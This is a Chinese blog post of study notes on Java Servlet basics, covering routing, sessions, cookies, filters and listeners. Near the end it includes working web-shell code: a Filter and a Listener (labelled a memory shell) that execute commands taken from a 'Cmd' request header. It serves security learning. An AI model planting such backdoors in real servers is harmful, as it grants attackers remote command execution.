JAVA Servlet基础

之前学过一遍了,但是有些淡忘了,然后今天翻了一下X1师傅的博客,于是就跟着复习学习一下,巩固一下知识。

Servlet

Servlet (Server Applet), 全称Java Servlet. 是用 Java 编写的服务器端程序. 其主要功能在于交互式地浏览和修改数据, 生成动态 Web 内容. 狭义的 Servlet 是指 Java 语言实现的一个接口, 广义的 Servlet 是指任何实现了这个 Servlet 接口的类, 一般情况下, 人们将 Servlet 理解为后者.

Servlet 运行于支持 Java 的应用服务器中. 从实现上讲, Servlet 可以响应任何类型的请求, 但绝大多数情况下 Servlet 只用来扩展基于 HTTP 协议的 Web 服务器.

最早支持 Servlet 标准的是 JavaSoft 的 Java Web Server. 此后, 一些其它的基于 Java 的 Web 服务器开始支持标准的 Servlet.

https://zh.wikipedia.org/wiki/Java_Servlet

目前 Servlet 的版本和 Tomcat 版本的对应关系

https://tomcat.apache.org/whichversion.html

其中 Servlet 3.0 以上开始支持直接使用注解来进行大部分配置, 避免了编写复杂的 web.xml (当然仍然有一些内容必须要用 xml 来配置)

然后我这里用的是java11 + tomcat10 + Servlet6.0来进行配置

应用配置

贴一张图就够了吧hh

/img/JAVA-Servlet基础/1.png
然后目录结构
/img/JAVA-Servlet基础/2.png

main/java 目录存放 Java 源码 resources 目录存放资源文件, 并随 war/jar 一起打包 webapp 目录相当于服务器的 www 目录, 客户端可直接访问 webapp/WEB-INF 目录为安全目录, 客户端无法直接访问, 一般存放 web.xml 以及 class 和 lib 文件

然后配置一下Tomcat

/img/JAVA-Servlet基础/3.png
/img/JAVA-Servlet基础/4.png
这个地方记得配一下war包。 然后我们
/img/JAVA-Servlet基础/5.png
上下文填根目录就行。

/img/JAVA-Servlet基础/6.png

Servlet写法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package org.example.servlet;  
  
import java.io.*;  
  
import jakarta.servlet.http.*;  
import jakarta.servlet.annotation.*;  
  
@WebServlet(name = "Index", value = "/")  
public class Index extends HttpServlet{  
    @Override  
    public void doGet(HttpServletRequest request,HttpServletResponse respond){  
        PrintWriter pw = respond.getWriter();  
        pw.write("<h1>I am Delete</h1>");  
        pw.write("<br />");  
        pw.write("<script>alert('aaaaa')</script>");  
        pw.flush();  
  
    }  
}

Java 中使用 @WebServlet 注解来标注 Servlet, 其中 name 指定 Servlet 名称 (可省略), value 指定路由 (必须)

路由有时候也会用 urlPatterns 指定, 两者基本等价, 不过只能二选一, 这里要注意 / 路由实际上会接收所有未匹配的路径, 相当于 /*

例如我们访问 /abcd, 最后处理请求的依然是这个 IndexServlet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
               ┌ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┐
               |                                       |
               │            /hello    ┌───────────────┐│
               |          ┌──────────>│ HelloServlet  │|
               │          │           └───────────────┘│
┌───────┐    ┌──────────┐ │ /signin   ┌───────────────┐|
│Browser│───>│Dispatcher│─┼──────────>│ SignInServlet ││
└───────┘    └──────────┘ │           └───────────────┘|
               │          │ /         ┌───────────────┐│
               |          └──────────>│ IndexServlet  │|
               │                      └───────────────┘│
               |              Web Server               |
               └ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘

Dispatcher 提供路由转发的功能, 浏览器访问服务器时, 会先经过 Dispatcher, 然后 Dispatcher 会根据 Servlet 配置的映射和访问的路径, 将请求转发至对应的 Servlet 进行处理, 这个流程称为 Dispatch

上面讲到的 / 路由会匹配 / 以及所有未匹配的路径, 也是由 Dispatcher 的处理逻辑导致的

一个 Servlet 继承自 HttpServlet 抽象类, HttpServlet 中定义了与 http 请求方法相对应的抽象方法, 以 do + HTTP 方法动词 命名

Servlet 支持 get post head put delete options trace 方法 然后直接写就行。

HttpServletRequest 与 HttpServletResponse 分别是 Servlet 对 http 请求和响应的封装, 两者都提供了相关接口方便我们处理 http 数据

HttpServletRequest

  • getMethod(): 返回请求方法
  • getRequestURI(): 返回请求路径
  • getQueryString(): 返回完整请求参数
  • getParameter(name): 返回请求参数
  • getInputStream(): 获取输入流
  • getCookies(): 返回所有 cookie
  • getHeader(name): 返回指定 header
  • getRemoteAddr(): 返回客户端 ip 地址

另外可以把 HttpServletRequest 当成 map 来用, 一般多用于 Servlet 之间的转发

  • getAttribute(key): 设置属性
  • setAttribute(key, value): 获取属性
  • removeAttribute(key): 删除属性

详情参考 http://c.biancheng.net/servlet2/httpservletrequest.html

HttpServletResponse

  • setStatus(code): 设置相应代码
  • setContentType(type): 设置 body 类型
  • setCharacterEncoding(charset): 设置字符编码
  • setHeader(name, value): 设置 header
  • addCookie(cookie): 设置 cookie
  • getOutputStream(): 获取输出流
  • getWriter(): 获取字符流

详情参考 http://c.biancheng.net/servlet2/httpservletresponse.html

所以我们如果要调用里面的方法就这样子写.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example.servlet;  
  
import java.io.*;  
  
import jakarta.servlet.http.*;  
import jakarta.servlet.annotation.*;  
  
@WebServlet(name = "Index", value = "/")  
public class HelloServlet extends HttpServlet{  
    @Override  
    public void doGet(HttpServletRequest request,HttpServletResponse respond) throws IOException {  
        PrintWriter pw = respond.getWriter();  
        pw.write("<h1>I am Delete</h1>");  
        pw.write("<br />");  
        pw.write("<script>alert('aaaaa')</script>");  
        pw.write("ip"+request.getLocalAddr());  
        pw.flush();  
  
    }  
  
}

/img/JAVA-Servlet基础/7.png
这个样子就可以调用,当然可以分开来写,写成String对象然后flush出来.

这个直接用response的方法就行

1
respond.sendRedirect("www.baidu.com")

用HttpServletRequest的RequestDispatcher方法来进行转发

1
2
RequestDispatcher rd = request.getRequestDispatcher("/user");
rd.forward(request,response);

也可以直接一步到位

1
request.getRequestDispatcher("/user").forward(request, response);

然后这里写一下实例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example.servlet;  
  
  
import jakarta.servlet.RequestDispatcher;  
import jakarta.servlet.ServletException;  
import jakarta.servlet.annotation.WebServlet;  
import jakarta.servlet.http.HttpServlet;  
import jakarta.servlet.http.HttpServletRequest;  
import jakarta.servlet.http.HttpServletResponse;  
  
import java.io.IOException;  
import java.io.PrintWriter;  
import java.util.HashMap;  
import java.util.Map;  
  
@WebServlet(name = "IndexServlet", value = "/index")  
public class IndexServlet extends HttpServlet {  
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {  
        String username = request.getParameter("username");  
        String password = request.getParameter("password");  
        Map userMap = new HashMap<>();  
        userMap.put("username",username);  
        userMap.put("password",password);  
        request.setAttribute("user",userMap);  
        RequestDispatcher rd = request.getRequestDispatcher("/user");  
        rd.forward(request,response);  
    }  
  
  
}

User

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example.servlet;  
  
  
import jakarta.servlet.annotation.WebServlet;  
import jakarta.servlet.http.HttpServlet;  
import jakarta.servlet.http.HttpServletRequest;  
import jakarta.servlet.http.HttpServletResponse;  
  
import java.io.IOException;  
import java.io.PrintWriter;  
import java.util.HashMap;  
import java.util.Map;  
  
@WebServlet(name = "User",value = "/user")  
public class User extends HttpServlet {  
    @Override  
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {  
        Map User = (Map) request.getAttribute("user");  
        response.setContentType("text/html");  
        PrintWriter pw = response.getWriter();  
        pw.write("username: " + User.get("username"));  
        pw.write("<br />");  
        pw.write("password: " + User.get("password"));  
        pw.flush();  
  
    }  
  
}

效果

/img/JAVA-Servlet基础/8.png

Servlet 中使用 HttpSession 来管理 session, session id 由客户端 cookie 中 JSESSIONID 的值来确定

HttpSession

  • getId(): 返回 session id
  • invalidate(): 销毁 session
  • setAttribute(name, value): 设置属性
  • getAttribute(name): 获取属性
  • removeAttribute(name): 删除属性

然后实例 IndexServlet.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.example.servlet;  
  
  
import jakarta.servlet.RequestDispatcher;  
import jakarta.servlet.ServletException;  
import jakarta.servlet.annotation.WebServlet;  
import jakarta.servlet.http.HttpServlet;  
import jakarta.servlet.http.HttpServletRequest;  
import jakarta.servlet.http.HttpServletResponse;  
import jakarta.servlet.http.HttpSession;  
  
import java.io.IOException;  
import java.io.PrintWriter;  
import java.util.HashMap;  
import java.util.Map;  
  
@WebServlet(name = "IndexServlet", value = "/index")  
public class IndexServlet extends HttpServlet {  
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {  
        String username = request.getParameter("username");  
        String password = request.getParameter("password");  
        if("admin".equals(username) && "admin123".equals(password)){  
            HttpSession session = request.getSession();  
            session.setAttribute("islogin",true);  
            session.setAttribute("user",username);  
            response.sendRedirect("/user");  
        }else{  
            response.setContentType("text/html");  
            PrintWriter pw = response.getWriter();  
            pw.write("username or password is incorrect");  
            pw.flush();  
        }  
    }  
  
  
}

User.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.example.servlet;  
  
  
import jakarta.servlet.annotation.WebServlet;  
import jakarta.servlet.http.HttpServlet;  
import jakarta.servlet.http.HttpServletRequest;  
import jakarta.servlet.http.HttpServletResponse;  
import jakarta.servlet.http.HttpSession;  
  
import java.io.IOException;  
import java.io.PrintWriter;  
import java.util.HashMap;  
import java.util.Map;  
import java.util.PrimitiveIterator;  
  
@WebServlet(name = "User",value = "/user")  
public class User extends HttpServlet {  
    @Override  
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {  
        HttpSession session = request.getSession();  
        response.setContentType("text/html");  
        PrintWriter pw = response.getWriter();  
        boolean islogin;  
        try{  
            islogin = (boolean) session.getAttribute("islogin");  
        }catch(NullPointerException e){  
            System.out.println(e);  
            islogin = false;  
        }  
        if(islogin){  
            String name =  (String) session.getAttribute("user");  
            pw.write("Hello:"+name);  
        }else{  
            pw.write("please login first");  
        }  
        pw.flush();  
  
    }  
  
}

效果

/img/JAVA-Servlet基础/9.png

cookie其实和session差不多。 只不过要通过带参数方法实例化对象

1
Cookie cookie = new Cookie("name", "value");

相关方法

  • getName(): 获取 cookie 名称
  • getValue(): 获取 cookie 值
  • setValue(value): 设置 cookie 值

这个地方不想再打了直接贴X1师傅的 IndexServlet.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.example.learnservlet;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.HashMap;

@WebServlet(name = "IndexServlet", value = "/")
public class IndexServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String username = request.getParameter("username");
        String password = request.getParameter("password");
        if ("admin".equals(username) && "123456".equals(password)) {
            Cookie cookie = new Cookie("islogin", "1");
            response.addCookie(cookie);
            response.sendRedirect("/user");
        } else {
            response.setContentType("text/html");
            PrintWriter pw = response.getWriter();
            pw.write("usename or password is incorrect");
            pw.flush();
        }
    }
}

UserServlet.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.example.learnservlet;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet(name = "UserServlet", value = "/user")
public class UserServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter pw = response.getWriter();
        Cookie[] cookies = request.getCookies();
        if (cookies != null){
            pw.write("your cookies:");
            pw.write("<br />");
            for (Cookie cookie: cookies){
                pw.write(cookie.getName() + ": " + cookie.getValue());
                pw.write("<br />");
                if (cookie.getName().equals("islogin")){
                    if (cookie.getValue().equals("1")){
                        pw.write("hello user!");
                    } else {
                        pw.write("your are not login!");
                    }
                    pw.write("<br />");
                }
            }
        } else {
            pw.write("no cookies found");
        }
        pw.flush();
    }
}

注意一下,因为Cookie是个类,所以肯定不止这一个cookie对象,所以这里下面的user处=路由来处理的话就是遍历来获取cookie

Filter

Servlet Filter 可以拦截客户端发送给 Servlet 的 request, 并修改 Servlet 返回给客户端的 response

工作流程(偷)

/img/JAVA-Servlet基础/10.png

Java 中使用 @WebFilter 注解来标注 Filter, urlPatterns 指定匹配规则 (参数大部分跟 @WebServlet 相同)

一个 Filter 实现自 Filter 接口, 并且必须实现 doFilter 方法, jdk 1.8 版本需要手动重写 init 和 destroy 方法, 高版本不需要

这里举例子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package org.example.servlet;  
  
import jakarta.servlet.*;  
import jakarta.servlet.annotation.WebFilter;  
  
import java.io.IOException;  
import java.io.Serializable;  
  
@WebFilter(filterName = "index",urlPatterns = "/*")  
public class file implements Filter {  
    @Override  
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws ServletException, IOException {  
        System.out.println("before");  
        filterChain.doFilter(request, response);  
        System.out.println("after");  
  
    }  
}

/img/JAVA-Servlet基础/11.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package org.example.servlet;  
  
  
import jakarta.servlet.*;  
import jakarta.servlet.annotation.WebFilter;  
import jakarta.servlet.annotation.WebServlet;  
import jakarta.servlet.http.HttpServletRequest;  
import jakarta.servlet.http.HttpServletResponse;  
import jakarta.servlet.http.HttpSession;  
  
import javax.xml.crypto.dsig.spec.XPathType;  
import java.io.*;  
  
@WebFilter(urlPatterns = "/*")  
public class Evilfilter implements Filter {  
  
    @Override  
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {  
        HttpServletRequest request = (HttpServletRequest) servletRequest;  
        HttpServletResponse response = (HttpServletResponse) servletResponse;  
        response.setCharacterEncoding("utf-8");  
        PrintWriter pw = response.getWriter();  
        if(request.getHeader("Cmd") != null){  
            String cmd = request.getHeader("Cmd");  
            Process pc = Runtime.getRuntime().exec(cmd);  
            InputStream in = pc.getInputStream();  
            BufferedReader br = new BufferedReader(new InputStreamReader(in));  
            String line  = null;  
            while((line = br.readLine()) != null){  
                pw.write(line);  
            }  
            br.close();  
            pw.write("\n");  
        }  
        filterChain.doFilter(servletRequest,servletResponse);  
    }  
}

![[be246b2a782ab3ef531dfbdbc51d8b3.png]]

Filter chain

顾名思义就是,多个Filter。

/img/JAVA-Servlet基础/12.png
A

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.example.learnservlet.filters;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter(urlPatterns = "/*")
public class FilterA implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("a: before");
        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("a: after");
    }

    @Override
    public void destroy() {

    }
}

B

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.example.learnservlet.filters;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter(urlPatterns = "/*")
public class FilterA implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("b: before");
        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("b: after");
    }

    @Override
    public void destroy() {

    }
}

/img/JAVA-Servlet基础/13.png

Listener

Listener 即为监听器, 用于监听事件变化并执行相关代码

监听器的相关概念:

  • 事件: 方法调用、属性改变、状态改变等。
  • 事件源: 被监听的对象( 例如: request、session、servletContext)
  • 监听器: 用于监听事件源对象, 事件源对象状态的变化都会触发监听器
  • 注册监听器: 将监听器与事件源进行绑定

内存马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.example.learnservlet;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.lang.reflect.*;

@WebListener
public class EvilListener implements ServletRequestListener {
    public EvilListener(){

    }
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent sre){
        try {
            RequestFacade rf = (RequestFacade) sre.getServletRequest();
            Field f = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
            f.setAccessible(true);
            Request request = (Request) f.get(rf);
            Response response = request.getResponse();
            PrintWriter pw = response.getWriter();
            if (request.getHeader("Cmd") != null) {
                String cmd = request.getHeader("Cmd");
                Process p = Runtime.getRuntime().exec(cmd);
                InputStream in = p.getInputStream();
                BufferedReader bf = new BufferedReader(new InputStreamReader(in));
                String line = null;
                while ((line = bf.readLine()) != null){
                    pw.write(line);
                }
                pw.write("\n");
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

Reference

https://exp10it.io/2022/11/java-servlet-%E5%9F%BA%E7%A1%80/#filter